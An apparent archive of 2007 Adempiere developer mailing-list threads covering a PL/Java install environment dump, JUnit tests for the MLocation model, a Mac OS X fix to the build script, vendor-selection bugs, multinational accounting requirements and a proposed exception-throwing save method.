HISTSIZE=1000
STYLE=Gilouche
TMPDIR=/tmp
GTK_RC_FILES=/etc/opt/gnome/gtk/gtkrc:/root/.gtkrc-1.2-gnome2
WINDOWID=33554530
MORE=-sl
OLDPWD=/root
XSESSION_IS_UP=yes
GROFF_NO_SGR=yes
USER=root
LD_LIBRARY_PATH=/usr/local/bin/jrockit-R27.2.0-jdk1.5.0_10/jre/lib/amd64:/usr/local/bin/jrockit-R27.2.0-jdk1.5.0_10/jre/lib/amd64/native_threads:/usr/local/bin/jrockit-R27.2.0-jdk1.5.0_10/jre/lib/amd64/jrockit
DESKTOP_LAUNCH=gnome-open
LS_COLORS=no=00:fi=00:di=01;34:ln=00;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:c
d=40;33;01:or=41;33;01:ex=00;32:*.cmd=00;32:*.exe=01;32:*.com=01;32:*.bat=01;32:
*.btm=01;32:*.dll=01;32:*.tar=00;31:*.tbz=00;31:*.tgz=00;31:*.rpm=00;31:*.deb=00
;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.zoo=00;31:*.z=00;31:*.Z=00
;31:*.gz=00;31:*.bz2=00;31:*.tb2=00;31:*.tz2=00;31:*.tbz2=00;31:*.avi=01;35:*.bm
p=01;35:*.fli=01;35:*.gif=01;35:*.jpg=01;35:*.jpeg=01;35:*.mng=01;35:*.mov=01;35
:*.mpg=01;35:*.pcx=01;35:*.pbm=01;35:*.pgm=01;35:*.png=01;35:*.ppm=01;35:*.tga
=0
1;35:*.tif=01;35:*.xbm=01;35:*.xpm=01;35:*.dl=01;35:*.gl=01;35:*.wmv=01;35:*.aif
f=00;32:*.au=00;32:*.mid=00;32:*.mp3=00;32:*.ogg=00;32:*.voc=00;32:*.wav=00;32:
GNOME_ICON_PATH=/usr/share/images:/usr/share/YaST2/theme/current/icons/48x48/
apps:/opt/kde3/share/icons/crystalsvg/32x32/apps:/opt/kde3/share/icons/crystalsvg/3
2x32/devices:/opt/kde3/share/icons/crystalsvg/32x32/mimetypes:/opt/kde3/share/ic
ons/crystalsvg/32x32/filesystems:/opt/kde3/share/icons/crystalsvg/32x32/actions:
/opt/kde3/share/icons/crystalsvg/48x48/apps:/opt/kde3/share/icons/crystalsvg/48x
48/devices:/opt/kde3/share/icons/crystalsvg/48x48/mimetypes:/opt/kde3/share/icon
s/crystalsvg/48x48/filesystems:/opt/kde3/share/icons/crystalsvg/48x48/actions:/o
```

pt/gnome/share/icons/gnome/48x48/apps:/opt/gnome/share/icons/gnome/32x32/apps:/o
pt/gnome/share/pixmaps
OPENWINHOME=/usr/openwin
XNLSPATH=/usr/X11R6/lib/X11/nls
ENV=/etc/bash.bashrc
GNOME_KEYRING_SOCKET=/tmp/keyring-cjkr6j/socket
HOSTTYPE=x86_64
KDEDIR=/opt/kde3
FROM_HEADER=
USERNAME=root
SESSION_MANAGER=local/banana:/tmp/.ICE-unix/5702
PAGER=less
CSHEDIT=emacs
XDG_CONFIG_DIRS=/usr/local/etc/xdg:/etc/xdg:/etc/opt/gnome/xdg/
MINICOM=-c on
MAIL=/var/spool/mail/root
PATH=/sbin:/usr/sbin:/usr/local/sbin:/opt/gnome/sbin:/root/bin:/usr/local/bin:/u
sr/bin:/usr/X11R6/bin:/bin:/usr/games:/opt/gnome/bin:/opt/kde3/bin:/usr/lib/mit/
bin:/usr/lib/mit/sbin:/usr/local/bin/jrokit-R27.2.0-jdk1.5.0_10/bin
DESKTOP_SESSION=gnome
CPU=x86_64
GDM_XSERVER_LOCATION=local
INPUTRC=/etc/inputrc
PWD=/opt/pljava-1.3.0
JAVA_HOME=/usr/local/bin/jrokit-R27.2.0-jdk1.5.0_10
XMODIFIERS=@im=local
LANG=POSIX
PYTHONSTARTUP=/etc/pythonstart
KDEDIRS=/opt/gnome/share/dist/kde-preconf
GDMSESSION=gnome
ICEAUTHORITY=/root/.ICEauthority
TEXINPUTS=:/root/.TeX:/usr/share/doc/.TeX:/usr/doc/.TeX:/root/.TeX:/usr/share/d
oc/.TeX:/usr/doc/.TeX
QT_SYSTEM_DIR=/usr/share/desktop-data
SHLVL=1
HOME=/root
LESS_ADVANCED_PREPROCESSOR=no
OSTYPE=linux
LS_OPTIONS=-A -N --color=tty -T 0
XCURSOR_THEME=Industrial
WINDOWMANAGER=/usr/bin/dbus-launch --sh-syntax --exit-with-session
/usr/X11R6/bin/gnome
GTK_PATH=/usr/local/lib/gtk-2.0:/opt/gnome/lib/gtk-2.0:/usr/lib/gtk-2.0
LESS=-M -I
MACHTYPE=x86_64-suse-linux
LOGNAME=root

ADEMPIERE_HOME=/opt/Adempiere
GTK_PATH64=/usr/local/lib64/gtk-2.0:/opt/gnome/lib64/gtk-2.0:/usr/lib64/gtk-2.0
XDG_DATA_DIRS=/usr/local/share:/usr/share:/etc/opt/kde3/share:/opt/kde3/share
:/opt/gnome/share/
LC_CTYPE=en_US.UTF-8
ACLOCAL_FLAGS=-I /opt/gnome/share/aclocal
DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-A0qwSGcOr2,guid=8fad47467048869_9549995a517dcb400
PKG_CONFIG_PATH=/opt/gnome/lib64/pkgconfig:/opt/gnome/share/pkgconfig
LESSOPEN=lessopen.sh %s
INFOPATH=/usr/local/info:/usr/share/info:/usr/info:/opt/gnome/share/info
DISPLAY=:0.0
XAUTHLOCALHOSTNAME=banana
LESSCLOSE=lessclose.sh %s %s
G_BROKEN_FILENAMES=1
COLORTERM=gnome-terminal
XAUTHORITY=/root/.Xauthority
_=/usr/bin/env
banana:/opt/pljava-1.3.0 # ldd /usr/share/pljava/pljava.so
libjvm.so => /usr/local/bin/jrockit-R27.2.0-jdk1.5.0_10/jre/lib/amd64/jrockit/libjvm.so
(0x00002b9ca3323000)
libc.so.6 => /lib64/libc.so.6 (0x00002b9ca37f7000)
libpthread.so.0 => /lib64/libpthread.so.0 (0x00002b9ca3a27000)
libm.so.6 => /lib64/libm.so.6 (0x00002b9ca3b3e000)
libdl.so.2 => /lib64/libdl.so.2 (0x00002b9ca3c93000)
/lib64/ld-linux-x86-64.so.2 (0x0000555555554000)
banana:/opt/pljava-1.3.0 # pg_config
BINDIR = /usr/bin
DOCDIR = /usr/share/doc/packages/postgresql
INCLUDEDIR = /usr/include/pgsql
PKGINCLUDEDIR = /usr/include/pgsql
INCLUDEDIR-SERVER = /usr/include/pgsql/server
LIBDIR = /usr/lib64
PKGLIBDIR = /usr/lib64/postgresql
LOCALEDIR = /usr/share/locale
MANDIR = /usr/share/man
SHAREDIR = /usr/share/postgresql
SYSCONFDIR = /usr/etc/postgresql
PGXS = /usr/lib64/postgresql/pgxs/src/makefiles/pgxs.mk
CONFIGURE = '--prefix=/usr' '--libdir=/usr/lib64' '--bindir=/usr/bin' '--include
dir=/usr/include/pgsql' '--datadir=/usr/share/postgresql' '--mandir=/usr/share/man' '--with-
docdir=/usr/share/doc/packages' '--disable-rpath' '--enable-nls' '--enable-thread-safety' '--
enable-thread-safety-force' '--enable-integer-datetimes' '--without-python' '--without-perl'
'--without-tcl' '--with-openssl' '--with-pam' '--with-krb5' 'CFLAGS=-O2 -fmessage-
length=0 -Wall -D_FORTIFY_SOURCE=2 -g '
CC = gcc

```
CPPFLAGS = -D_GNU_SOURCE
CFLAGS = -O2 -fmessage-length=0 -Wall -D_FORTIFY_SOURCE=2 -g -Wall -
Wmissing-prototypes -Wpointer-arith -Winline -Wdeclaration-after-statement -Wendif-
labels -fno-strict-aliasing
CFLAGS_SL = -fPIC
LDFLAGS =
LDFLAGS_SL =
LIBS = -lpgport -lpam -lssl -lcrypto -lkrb5 -lz -lreadline -lcrypt -lresolv -lnsl -ldl -lm
VERSION = PostgreSQL 8.1.9
banana:/opt/pljava-1.3.0 #
```

Regards,

Terence Ng

2007-05-14 05:41:13 UTC

Hi Terence,

Would you also copy-paste the files 'pg_hba.conf' and 'postgresql.conf' here?

Warm regards,
Bahman

PS: By the way, 'Good things come to those who wait' :-)

2007-05-16 04:34:11 UTC

Hi Bahman,

Finally, I have solved the issue; although I do not know what is going on. I run the install without error. Thank you very much for your help.

Regards,

Terence

P.S. I will write the wiki after my installation is complete.

2007-05-16 12:33:26 UTC

Hi Terence,

> Finally, I have solved the issue;
I'm very happy to hear that! Congratulations :-)

> P.S. I will write the wiki after my installation is complete.

That's a very good idea! I'm eagerly waiting for the Wiki page.

Warm regards,
Bahman

2007-05-16 11:49:18 UTC

Hi every1,

we have a rather simple problem, but i want to ask you it the only way to solve it is trough the callout?

this is the issue: we have a window and table: positions (with fields: name, about, number), and we have a totaly other window and table: contract(with fields: contract_nr, about, position and number).

so what I would like is, when user is defining a new contract in this contract window to fill in contract_nr, about, then to select position from drop down menu. depending on position chosen, the field "number" in this contract window should be automatically filled(with the value "number" from table positions)

i know this is easly achieved via callout, but I was hoping that this is also possible trough the adempiere it self??

(i played with dynamic validation and that worked fine (so number dropdown has only this number value) but user still has to choose it and that is not so nice.)

thanks in advanced,
mahir

2007-05-16 12:16:35 UTC

Hi mahir,

when I understand your problem right you like to show fields from a referenced data row. You can do this with virtual columns:

http://www.adempiere.com/wiki/index.php/Virtual_Columns

Regards,
Karsten

2007-05-16 13:02:39 UTC

NOT SURE this is gone work since the field position (from which field number is depending) is empty by the initialization of this windows so I get an error here.

other thing: i use oracle, not sure this is gone work?

third problem: what kind of wierd sql code is used by definition of these virtual columns?

```
SELECT Value FROM M_Product p WHERE  
p.M_Product_ID=M_InOutLine.M_Product_ID ??
```

2007-05-15 01:29:22 UTC

Hi All,

I just thought I would share with you my first junit test I created:

<http://eugene-ciurana.com/pastebin/pastebin.php?show=1731>

It adds a location to the database via the MLocation java object. Tell me if you like the approach I took or not :)

2007-05-15 17:26:53 UTC

Hi William,

thank you for this JUnit test.

I think that below lines should be changed:

```
#if (!location.save())  
# System.out.println("Location not updated");  
# else {  
# System.out.println("location.getC_Location_ID: " + location.getC_Location_ID());  
# try {  
# DB.commit(true, "test");  
# } catch(Exception e) {  
# System.out.println("Location not updated");  
# }  
# }  
# assertTrue( "TestExample", true );
```

=====
To something like this:

```
# boolean saveResult = location.save();  
# if (!saveResult)  
# assertEquals("Location not updated!", true, saveResult);  
# else {  
# System.out.println("location.getC_Location_ID: " + location.getC_Location_ID());  
# try {  
# DB.commit(true, "test");
```

```
# } catch(Exception e) {  
# assertEquals("Location not updated!", true, false);  
# }  
# }  
# assertTrue( "TestExample", true );
```

Kind regards,
Trifon

2007-05-15 20:18:40 UTC

Hi William,

this is my version of JUnit test:

It just need one parameter which is path to Adempiere.properties file and it connect to Adempiere specieied in it.
I think that it can be modified further to read this settings from build.properties and avoid modification of sorce code, but this will be in next version.

```
//TestExample.java  
package test;  
  
import java.util.Properties;  
import java.util.logging.Level;  
  
import junit.framework.TestCase;  
  
import org.compiere.model.MLocation;  
import org.compiere.util.CLogMgt;  
import org.compiere.util.DB;  
import org.compiere.util.Ini;  
  
public class TestExample extends TestCase {  
  
    private MLocation location = null;  
  
    private Properties m_Ctx = null;  
  
    private String fileName = "J:/Trifon-CD-0.3/workspace/adempiere-  
trunk/adempiere/Adempiere/Adempiere.properties";  
  
    @Override  
    protected void setUp() throws Exception {  
        super.setUp();
```

```

m_Ctx = new Properties();
m_Ctx.setProperty("#AD_User_ID", "0");
System.out.println("m_Ctx: " + m_Ctx);

if (fileName.length() < 1) {
assertEquals("Please specify path to XXX.properties file!", true, false);
}
boolean isClient = true;

System.setProperty("PropertyFile", fileName);
Ini.setClient (isClient);
org.compiere.Adempiere.startup(isClient);

// Force connection if there are enough parameters. Else we work with
Adempiere.properties
// if (args.length >= 6) {
// CConnection cc = CConnection.get(Database.DB_ORACLE, args[1],
Integer.valueOf(args[2]).intValue(), args[3], args[4], args[5]);
// System.out.println("DB UserID:"+cc.getDbUid());
// DB.setDBTarget(cc);
// }

CLogMgt.setLevel(Level.FINEST);
/* Available levels:
Level.OFF, Level.SEVERE, Level.WARNING, Level.INFO,
Level.CONFIG, Level.FINE, Level.FINER, Level.FINEST, Level.ALL
*/
}

@Override
protected void tearDown() throws Exception {
super.tearDown();

m_Ctx = null;
}

public void testOne() {

location = new MLocation(m_Ctx, 0, "test");
// location.loadDefaults();
location.setC_Country_ID(100);
location.setC_Region_ID(103);
location.setCity("Windsor");
location.setAddress1("nyb");
location.setAddress2("");
location.setPostal("95492");

```



```
location.setPostal_Add("95492");
// location.setAD_Client_ID(0);
location.setAD_Org_ID(0);

boolean saveResult = location.save();
if (!saveResult) {
    assertEquals("Location not updated!", true, saveResult);
} else {
    System.out.println("location.getC_Location_ID: " + location.getC_Location_ID());
    try {
        DB.commit(true, "test");
    } catch (Exception e) {
        assertEquals("Location not updated!", true, false);
    }
}
assertTrue("TestExample", true);
}
```

Kind regards,
Trifon

2007-05-15 23:08:38 UTC

Hi William,

this is version 2

```
//TestExample.java
package test;

import java.io.FileInputStream;
import java.util.Properties;
import java.util.logging.Level;

import junit.framework.TestCase;

import org.compiere.model.MLocation;
import org.compiere.util.CLogMgt;
import org.compiere.util.DB;
import org.compiere.util.Ini;

public class TestExample extends TestCase {

    // Test: General
    private Properties testProperties = null;
```

```

private Properties m_Ctx = null;

private String fileName_DefaultValue = "J:/Trifon-CD-0.3/workspace/adempiere-
trunk/adempiere/Adempiere/Adempiere.properties";
private String fileName_Key = "AdempiereProperties";
private String fileName_Value = "";

private String isClient_DefaultValue = "Y";
private String isClient_Key = "isClient";
private boolean isClient_Value = true;

private String AD_User_ID_DefaultValue = "0";
private String AD_User_ID_Key = "AD_User_ID";
private int AD_User_ID_Value = 0;

// Test: Specific variables
private MLocation location = null;

@Override
protected void setUp() throws Exception {
super.setUp();

testProperties = new Properties();
testProperties.load(new FileInputStream("test.properties"));
fileName_Value = testProperties.getProperty(fileName_Key, fileName_DefaultValue);
isClient_Value = "Y".equals( testProperties.getProperty(isClient_Key,
isClient_DefaultValue) );
AD_User_ID_Value = Integer.parseInt(testProperties.getProperty(AD_User_ID_Key,
AD_User_ID_DefaultValue) );

m_Ctx = new Properties();
m_Ctx.setProperty("#AD_User_ID", new Integer(AD_User_ID_Value).toString());
System.out.println("m_Ctx: " + m_Ctx);

if (fileName_Value.length() < 1) {
assertEquals("Please specify path to Adempiere.properties file!", true, false);
}

System.setProperty("PropertyFile", fileName_Value);
Ini.setClient (isClient_Value);
org.compiere.Adempiere.startup(isClient_Value);

// Force connection if there are enough parameters. Else we work with
Adempiere.properties
// if (args.length >= 6) {

```

```

// CConnection cc = CConnection.get(Database.DB_ORACLE, args[1],
Integer.valueOf(args[2]).intValue(), args[3], args[4], args[5]);
// System.out.println("DB UserID:"+cc.getDbUid());
// DB.setDBTarget(cc);
// }

CLogMgt.setLevel(Level.FINEST);
/* Available levels:
Level.OFF, Level.SEVERE, Level.WARNING, Level.INFO,
Level.CONFIG, Level.FINE, Level.FINER, Level.FINEST, Level.ALL
*/
}

@Override
protected void tearDown() throws Exception {
super.tearDown();

testProperties = null;
m_Ctx = null;
}

public void testOne() {

location = new MLocation(m_Ctx, 0, "test");
// location.loadDefaults();
location.setC_Country_ID(100);
location.setC_Region_ID(103);
location.setCity("Windsor");
location.setAddress1("nyb");
location.setAddress2("");
location.setPostal("95492");
location.setPostal_Add("95492");
// location.setAD_Client_ID(0);
location.setAD_Org_ID(0);

boolean saveResult = location.save();
if (!saveResult) {
assertEquals("Location not updated!", true, saveResult);
} else {
System.out.println("location.getC_Location_ID: " + location.getC_Location_ID());
try {
DB.commit(true, "test");
} catch (Exception e) {
assertEquals("Location not updated!", true, false);
}
}
}
}

```

```
assertTrue("TestExample", true);
}
}
```

Kind regards,
Trifon

2007-05-15 23:24:32 UTC

Hi William,

please find this JUnit committed into SVN Revision:
2412
<http://svn.sourceforge.net/adempiere/?rev=2412&view=rev>

I think that it can be enhanced further and i will be happy to read proposals.

I think that we can build some Adempiere specific Test Framewrok which can be base for all Adempiere test.

Initialy we just can gather more test cases and see what is common for all of them.
As a second step we can extract common parts and create common base.

Kind regards,
Trifon

2007-05-16 18:11:51 UTC

I put this in my setup:

```
if(!DB.isConnected()) {
DB.setDBTarget(CConnection.get("172.16.1.32"));
}
```

```
assertEquals("Adempiere database is not connected", true, DB.isConnected());
```

Is that appropriate to put in yours? By the way, great that you committed that and good work getting the properties etc...

2007-05-16 18:13:47 UTC

Hi William,

```
>if(!DB.isConnected()) {
>DB.setDBTarget(CConnection.get("172.16.1.32"));
>}
>
```

```
>assertEquals("Adempiere database is not connected", true, DB.isConnected());
```

On which line?

Could you post a diff?

Kind regards,
Trifon

2007-05-16 18:21:40 UTC

Is there some standard way to run the test(s)? For example, to build I go into `utils_dev` and do `RUN_build.sh`, should there be a `RUN_test.sh`?

2007-05-16 18:26:06 UTC

>Is there some standard way to run the test(s)? For example, to build I go into `utils_dev` and do `RUN_build.sh`, should >there be a `RUN_test.sh`?

I see test as part of development process, but this is discussable, that's why i do not created bat ot sh file. Now in "extend" project you can find `MLocationTest.launch` which allows you to start test in Eclipse IDE.

Kind regards,
Trifon

2007-05-16 19:23:03 UTC

Most packages I have seen that involve `./configure`, `make`, `make install`, have a `make test`. Does that not seem appropriate for Adempiere? I hate to say it but I don't use eclipse :(

2007-05-16 20:09:58 UTC

Hi William,

>Most packages I have seen that involve `./configure`, `make`, `make install`, have a `make test`. Does that not seem >appropriate for Adempiere? I hate to say it but I don't use eclipse :(

If you could create xml/bat/sh file community could vote and we could include it in main SVN Tree.

It is up to proper discussion and agreement incommunity.

Kind regards,
Trifon

2007-05-16 03:57:23 UTC

I am a newbie trying to get started with Adempiere development. I thought I would start by looking into bug

1709952http://sourceforge.net/tracker/index.php?func=detail&aid=1709952&group_id=176962&atid=879332

It seems to me that the real problem is when products are setup with multiple vendors, more than one of the vendors can be flagged as "Current Vendor". If my understanding is correct, another way of stating 'current vendor' is 'primary vendor'. Only one of the product vendors should be current or primary at a given time.

Is the my understanding correct?

Assuming that I am correct in the definition of the bug, I am looking into setting up a Callout on M_Product_PO.IsCurrentVendor. The callout would only allow the current vendor flag to be set if no other vendor for the product is the current vendor. Does this sound like the right approach?

Thanks,
Daryl.

2007-05-16 06:11:28 UTC

Hi Daryl,

you can set a callout but I think that is not solution for the bug. In my opinion, "Create PO from SO" behavior should be like this:

1. If you don't choose a vendor in dialog, Adempiere should create one PO for current/primary vendor.
2. If you choose a vendor, Adempiere should create a PO for chosen vendor.

So your callout has impact on first option.

Rgds,
Elvis

2007-05-16 11:19:35 UTC

Daryl,

Yes, your understanding is correct and this seems to be a bug.

The purchasing business practice is that you develop long term relationships with some vendors that evolve into best terms and conditions (not only price) for a particular item or items, then you select this vendor as your "preferred" vendor for the item (s). This of course does not mean that you could not have other vendors set in the system as potential

providers. This business practice is what ADempiere is to support.

I raised the priority of this bug so it can attract expediter attention.

Regards

Ramiro

2007-05-17 01:45:40 UTC

Hi Elvis,

For your second option, should it only create a PO for SO lines that have product which has the specified vendor as a supplier (could be current vendor or not)? Therefore, other lines on the SO would not get a PO generated?

Daryl.

2007-05-17 06:17:52 UTC

Hi Daryl,

excellent question. We don't have such situation (on our SO there is just one product - car).

But my opinion is if you specify a vendor Adempiere should create PO for just that vendor, so PO for other lines will not be generated.

Rgds,
Elvis

2007-05-16 13:49:04 UTC

I've a issue for the adempiere experts. Can it be used in a british company that would like to be quoted on the stock exchange, fulfilling all requirements that such a company should have? I need to know it before I propose it to a prospect.

Thank to all who will answer.

2007-05-16 18:25:39 UTC

I'll give you the best answer I can with the info you provided!

Some of the areas I would consider which only you can answer at this stage.....

Listing requirements

- When you say the exchange - are you talking about just the LSE or is this a dual listing i.e. NYE or Lux etc The listing jurisdiction will help you to understand what GAAP is applicable to the group accounts and other legislation. i.e. some companies are dual listed

in LSE and NYE and hence have obligation of Sarbox as well as the group reporting requirements.

Countries of operation

- each legal entity will have their own reporting requirements separate to group accounts. In many European countries, authorities prescribe formats for reporting and in some countries for accounting too. e.g. Plan Comptables, EU Schedule of Accounts The general requirement from the financial reporting perspective is to be able to maintain group / local charts of accounts. This is possible in Adempiere

Consolidation

- depending on where you are listed, you will also need to look at how you intend to consolidate across countries. In the UK for example, you apply different methods of business combination depending on the relationship between the parent and the held entity. This might include control requiring consolidation, joint venture, investment (equity accounting). These rules vary from listing - e.g. unincorporated entities are not consolidated in the US but incorporated entities are @ 50% share holding. In the UK it doesn't matter if they are incorporated or not. Luxembourg for example utilises proportional consolidation rather than full consolidation (and recognition of minority interests)

- there are exchange considerations on consolidation. Each transaction originating in a source currency is transacted in the books of a legal entity (which may give rise to currency fluctuations). The books are then translated from the accounting currency to the group currency depending on the type of entity (foreign standalone - P&L @ average rates and BS at YE rates or integrated operation - as a division at the prevailing rates)

Legal entities

- some multinationals are utilising SE companies (cross European companies) to reduce administration with transfer pricing and compliance / VAT / IVA. This can provide great administrative savings (in one business listed on the LSE, this saved 20% of their finance staff costs which ran to millions)

Language

- you will need to consider providing screens and documents in multiple languages and naturally, you will need to support multiple companies and entities

Adempiere can be made to do all of this - some of the config is quite complex

I would say that the starting point for your prospect is to include Adempiere on your list and as requirements are drawn out, make sure you have some good help at hand!

Mike

thanks Mike for your answers.

At now I don't know what listing will be (I believe only LSE) but in your opinion Adempiere have or easily can have all of that requirements? The group will be made up of 3 company in 3 country, GB, Spain, Italy so their second requirement was that the application must be centralized in GB with the other company that access via web or in any case by remote.

The application, so, must have, at the same time, all programs and reports that the company need to work in their country.

Is this possible?

MFS

2007-05-17 11:56:25 UTC

Hi,

We run adempiere on demand for a few customers and could provide this either for your customer or help them set it up for themselves. Obviously, it would be helpful to know what infrastructure they have in place, are likely to have in place or not as the case may be. e.g. do they run a wan / leased lines etc Different solutions are suitable depending on the target infrastructure.

In terms of language for screens and reports English, Spanish and Italian are generally available although we find that customers usually like to customise this to business terminology employed within their business. This is done via the application dictionary.

Adempiere includes a reporting engine which provides the functionality of drill down/through documents. This is also multi-lingual. The base reports are pretty much just that and require fine tuning according to your businesses requirements. There is also the option of integrating external reporting and business intelligence engines such as Pentaho and more simply JasperReports / iReport etc. Again the benefits depend on your needs and I'd be happy to give you a steer on these.

In terms of business functionality, Adempiere has business documents that represents points in the life cycle of business processes. All businesses have these points - create and invoice, reconcile a bank statement - and there are many optional documents as well. The implementation phase (methodology) is to understand your business processes and then link up the documents within Adempiere to model and reflect the process. Sometimes, during this implementation methodology we identify pieces of functionality that don't exist. An example recently, was that a customer created their sales price lists based on what the purchase the product for. The rule they used was to add a standard markup for specific product groups, apply VAT (purchases were ex vat and sales inc vat) and then round to the whole currency unit where the final number ends in a 5 or 9. For example, you bus something for 20 it gets marked up to 42 and then gets rounded to 45. There are rounding rules that allow you to round to whole numbers, various decimal places etc but not the specific rule of ending in 5 or 9 - so we created that and then fed that back to the project. The point I am trying to make is that Adempiere, will allow you to connect up

the documents to meet your business requirements but may need some additional work in specific areas. Obviously a detailed investigation would help to confirm this. The one caveat I must add is that we need to look at the functional scope of what your business needs to achieve. i.e. Adempiere doesn't yet include payroll, and other modules are still maturing such as manufacturing and fixed assets. These can be built and augmented if necessary but obviously, the more of the functional scope Adempiere covers 'out of the box' the better.

So to summarise, subject to the functional scope requirements of your client, which we would normally look at during an investigation phase, the application and reports will work in these countries. Like any ERP, there will need to be some customisation to make the application applicable to your business process.

Mike

2007-05-17 13:26:01 UTC

Thanks again Mike.

Well, I was thinking rather than about language , to fiscal duties and the various national obligations

2007-05-17 14:38:29 UTC

Well both Italy and Spain are subject to the eu schedule 7 chart of accounts - for reporting rather than transacting. Italy's ipg/rpg tax reporting is supported through the chart. Exchange conversion as with other accounting issues are substantially the same due to each countries adoption of IFRS, IFRS being interpreted slightly different in each country. There are some national reports particularly in Italy & Spain that I haven't looked at for years and some others that I've probably never seen. There are also some payroll reports as well as some obligations on financial reporting relating the social benefits that would depend on feeder systems (or possibly satisfied from the feeder systems).

So, financial accounting all countries in scope have substantially the same fiscal obligations (some small differences exist in certain industries i.e. extractive industries like mining) and some are elective and the business can make a policy about them. Management accounting is down to what the business decides but adempiere will allow you to store budgets, allocate overheads etc. The reports in this area needs some development - very little exists out of the box and it is probably quite different from company to company)

I've handled VAT/IVA in the UK - due to intrastat rules I don't think the obligations of this differ much from country to country although I know the format of the return does vary a little.

Depending on the industry - their may be license obligations or social reports that need to be made but in prinicple these are just new reports based on data either in the system,

integrated with the system or from feeder systems.

Mike

2007-05-17 15:00:56 UTC

Dear all,

The script RUN_build.sh only executes checks if the file tools.jar exists, but this is not a valid check for Mac OS X operating system.

What do you think if the message only warns the user instead of exiting the script?

Something like:

```
# check jdk
if [ ! -f $JAVA_HOME/lib/tools.jar ] ; then
echo "*** tools.jar was not found. Please make sure you have a full Java SDK ***"
# exit
fi
```

Kind Regards,
Eduardo.

2007-05-17 16:50:57 UTC

Could we check for a file that is common to all jdk's (instead of tools.jar) ?
Or maybe we could check for tools.jar and if failed then check for a specific Mac OS X file.

Regards,

Carlos Ruiz

2007-05-17 17:03:25 UTC

Hi Eduardo!

I have a MAC OS X, and build ADempiere use Eclipse.

- 1.- Go utils_dev
- 2.- Run build.xml use eclipse (click right mouse under build.xml and use Run AS Ant Build)

Kind Regard
Victor Perez
<http://www.e-evolution.com>

2007-05-17 18:37:32 UTC

Victor,

The build also works using RUN_build.sh, the only thing is that we need to change the tools.jar verification.

Following Carlos's suggestion, what do you think if we implement something like:

```
if [ ! -f $JAVA_HOME/lib/tools.jar ] ; then
if [ `uname` != "Darwin" ] ; then
echo "*** Need full Java SDK ***"
exit
fi
fi
```

Mac OS X returns the string "Darwin" to the command \$uname.

Kind Regards,
Eduardo.

2007-05-18 07:47:52 UTC

Hi all

I m a newbie in adempiere. i have download the source code from svn and successfully compile it in eclipse. but i don't know how to deploy the changes i have made in code easily when i change server or client.

currently i run ant on build.xml in ADEMPIERE_HOME which then create a ADEMPIERE_HOME/adempiere folder.

as i have already run the setup of adempiere, so i run the ant again on build.xml ADEMPIERE_HOME/adempiere/Adempiere with modified properties file according to my settings

it creates jar files in jboss deploy dir that i copied into my running server. this works but i think this is not the right way todo.

Is there anyone who can tell me how to make whole process easy.

Thanks in advance
Anu

2007-05-18 08:06:06 UTC

You can test run each source code edit in Eclipse itself, under the RUN > DEBUG icon from the top menu bar. That means u need not compile under Utils_dev > RUN_Build all the time. Try check up among <http://www.adempiere.com/wiki/index.php/Red1.org> . Some of the tutorials give more info on how codes are handled and tested for beginners.

red1

2007-02-17 18:39:54 UTC

Hi,

I would like to propose to scrap the places where we have

```
public boolean save() in the PO Model by
```

```
public void save() throws AdempiereException
```

That way we can handle the Exception in a much better way. We can have specialised exception and handle it the way we want also. This is specially useful when using Adempiere as an application framework.

Thanks

Frederick Tsang

2007-02-17 18:53:02 UTC

Hi Frederick,

Excellent point !

I would like too, but this raises some question in my mind:

1. How we will handle the existing code ? What is your scenario for a gradual movement to meet this target ?
2. Which will be the impact to the existing modules, developed by third-party ?

Best regards,
Teo Sarca

2007-02-17 19:46:56 UTC

Hi Teo,

Good points Teo,

Concerning your following points:

1:

We would have to replace all the exception logging by an `AdempiereException` that would throw the same message, and then let the GUI catch it a little higher. We could imagine that the `AdempiereException` would save the error in the log, in the constructor. So that we do not lose any existing functionality.

2:

In order not to break existing modules, we could think of using some deprecation method,

I could imagine the old method look something like that.

```
public false save()
{
try
{
newSave();
return true;
}
catch(AdempiereException e)
{
return false;
}

}
```

What do you think?

Frederick Tsang

2007-02-24 20:16:32 UTC

Hi All,

I played for about an hour, trying to replace the

```
public boolean save()
```

by

```
public void save() throws AdempiereException
```

This is what I am finding, trying to keep the `boolean save()` and at the same time the `AdempiereException` would be very difficult. Not saying impossible but need a lot of effort to do this.

I have basically tried to throw an `Exception` from the logger, since everytime we log for

an error, I make it throw an `AdempiereException`.

These are the good points from my experiment so far.

Basically everytime in Adempiere we have an error logging it is usually followed by a return false statement.

So that can be basically be thrown out.

Every time we invoke the save of a PO, for instance in the `InOutGenerate.java`, you have to do the following, if you forget it you'd be having a bug

```
if (!line.save())  
throw new IllegalStateException("Could not create Shipment Line");
```

by having the throws Exception it is no longer required.

you just do

```
line.save();
```

This occurs in really a lot of places. The error messages do not become consistent either. There is a lot of repeat in the error messages. "Orders can not be saved". Hardcoded several places.

`DunningRunCreate.java`, `ExpenseApInvoice.java`, `ExpenseSOrder.java`, `DistributionRun.java`, `Aging.java`, `BPartnerOrgLink.java` and the list goes on....

You are no longer required to have return true at the end of a lot of methods.

So these are the good points,

The only bad one is the warning, since sometimes a warning is logged and followed by a return false; and since the log has not been extended, we can not override that method to make it throw an exception. Even if we could it is not always the case where we should throw an exception. So a lot of work is needed here.

I haven't given a lot of thought about where exactly to throw the exception, but the `saveError` seems ok to me.

I'd like to have some of your thoughts on this experiment. Since doing this change affect the code base, all across.

Frederick Tsang

2007-02-24 23:46:38 UTC

Hi Fred,

We have to keep the public boolean save() method for backward compatibility. I think throwing exception from the logger is not natural and probably a dangerous workaround. Another option is to use unchecked exception (i.e SaveException extends RuntimeException) instead of checked exception.

Regards,
Low

2007-05-17 06:53:09 UTC

Hello,

In my day by day development i am facing with this situation a lot of time. Every time i save an pobject i need to check if the save was successful.

What you think about introducing the method PO.saveEx(...) which has the same functionality like PO.save(...) but throws an exception. The old save(...) will be a wrapper for saveEx(), that catch the exception.

I think this will be a step forward for making your verticals more cleaner.

PS: i have not said anything new, just i reformulated a little Frederick's post.

Best regards,
Teo Sarca

2007-05-17 07:34:07 UTC

Hi Teo,

>What you think about introducing the method PO.saveEx(...) which has the same functionality like PO.save(...) but >throws an exception. The old save(...) will be a wrapper for saveEx(), that catch the exception.

We can try!

Kind regards,
Trifon

2007-05-17 07:40:39 UTC

Hi Teo,

